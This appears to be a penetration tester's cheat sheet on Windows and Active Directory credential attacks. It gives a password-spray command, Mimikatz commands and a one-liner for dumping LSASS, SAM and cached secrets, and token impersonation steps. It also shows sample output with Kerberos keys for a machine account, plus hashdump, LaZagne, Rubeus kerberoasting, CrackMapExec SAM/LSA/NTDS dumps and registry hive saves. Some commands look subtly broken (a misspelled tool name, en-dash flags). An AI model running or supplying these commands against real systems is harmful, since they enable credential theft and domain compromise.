Credentials

Credentials

Password Spray
# Using kerberos auth
nxc ldap dc01.puckiestyle.vl -u comps.txt -p Start123! -k --continue-on-success
Password retrieval
# mimikatz
token::elevate
# Extract from lsass
sekurlsa::logonpasswords
# Extract from lsass
lsadump::lsa /inject
# Extract from SAM
lsadump::sam
# Oneliner
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Common Token Commands
privilege::debug: Enables debug rights required to inspect system processes and tokens.
token::list: Displays all available security tokens on the machine.
token::whoami: Shows the current user identity and token context of your active Mimikatz session.
token::elevate: Impersonates a high-privilege token, such as NT AUTHORITY\SYSTEM or a Domain Admin.
token::revert: Reverts your session back to the original process
token::migrate 2248: Migrate to a token with PID 2248
token::whoami: Shows the new user identity and token context of your active Mimikatz session.

mimikatz # token::elevate /id:2248
Token Id  : 2248
User name : 
SID name  : 


mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : SQL$
Domain            : ACADEMY
Logon Server      : (null)
Logon Time        : 8/20/2026 2:42:16 AM
SID               : S-1-5-20

     * Username : sql$
     * Domain   : ACADEMY.NINJA.LAN
     * Password : (null)
     * Key List :
       aes256_hmac       bf13e5519bf0f4640c12ad6c4dc2a0977ddf4c72d39df1f7f84b8e97f4d43b9f
       rc4_hmac_nt       d7fa6321234fdc8f64ece061cf866570
       rc4_hmac_old      d7fa6321234fdc8f64ece061cf866570
       rc4_md4           d7fa6321234fdc8f64ece061cf866570
       rc4_hmac_nt_exp   d7fa6321234fdc8f64ece061cf866570
       rc4_hmac_old_exp  d7fa6321234fdc8f64ece061cf866570

# Using meterpreter
hashdump
# Lazagne
./lazagne.exe -all
# Rubeus
./Rubeus.exe kerberoast /domain:zencorp.local /user:username /nowrap

# CrackMapExec SAM
crackmapexe smb 192.168.1.1 -u username -p password –sam
# CrackMapExec lsass
crackmapexe smb 192.168.1.1 -u username -p password –lsa
# CrackMapExec ntds
crackmapexe smb 192.168.1.1 -u username -p password –ntds-history

# Copy manually
reg save HKLM\sam sam
reg save HKLM\system system

Last updated